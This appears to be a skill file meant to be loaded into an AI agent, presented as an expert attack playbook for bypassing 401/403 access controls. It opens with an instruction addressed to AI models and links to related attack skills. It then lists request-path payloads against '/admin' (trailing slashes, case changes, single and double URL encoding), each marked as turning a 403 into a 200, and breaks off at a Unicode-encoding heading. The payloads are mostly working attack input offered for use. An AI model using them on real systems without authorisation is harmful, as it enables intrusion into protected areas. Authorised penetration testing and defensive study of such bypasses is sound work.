SKILL: 401/403 Bypass Techniques, Expert Attack Playbook

AI LOAD INSTRUCTION: Comprehensive 401/403 forbidden bypass techniques. Covers path normalization tricks, HTTP method override, header-based bypasses (X-Original-URL, X-Forwarded-For), protocol version tricks, and combination attacks. Base models typically know 2-3 header bypasses but miss the full matrix of path manipulation variants and verb+path combos.

0. RELATED ROUTING

• authbypass-authentication-flaws, broader auth bypass (login flaws, session handling)
• waf-bypass-techniques, when bypass is WAF-specific rather than access control
• http-host-header-attacks, Host header manipulation for routing bypass
• request-smuggling, smuggle past access controls entirely
• http2-specific-attacks, h2c smuggling to bypass proxy ACLs

---

1. PATH MANIPULATION BYPASSES

The core idea: the reverse proxy/WAF checks one path format, but the backend normalizes differently.

1.1 Trailing Slash / Missing Slash

/admin      → 403
/admin/     → 200  ✓ (trailing slash)
/admin/.    → 200  ✓ (trailing dot)

1.2 Case Sensitivity

/admin      → 403
/Admin      → 200  ✓
/ADMIN      → 200  ✓
/aDmIn      → 200  ✓

Works when: proxy rule is case-sensitive but backend is case-insensitive (common on Windows/IIS).

1.3 URL Encoding

/admin          → 403
/%61dmin        → 200  ✓ (encode 'a')
/admi%6e        → 200  ✓ (encode 'n')
/%61%64%6d%69%6e → 200  ✓ (full encode)

1.4 Double URL Encoding

/admin              → 403
/%2561dmin          → 200  ✓ (%25 = %, decoded twice: %61 → a)
/admin%252f         → 200  ✓
/admin..%252f       → 200  ✓

1.5 Unicode / UTF-8 Encoding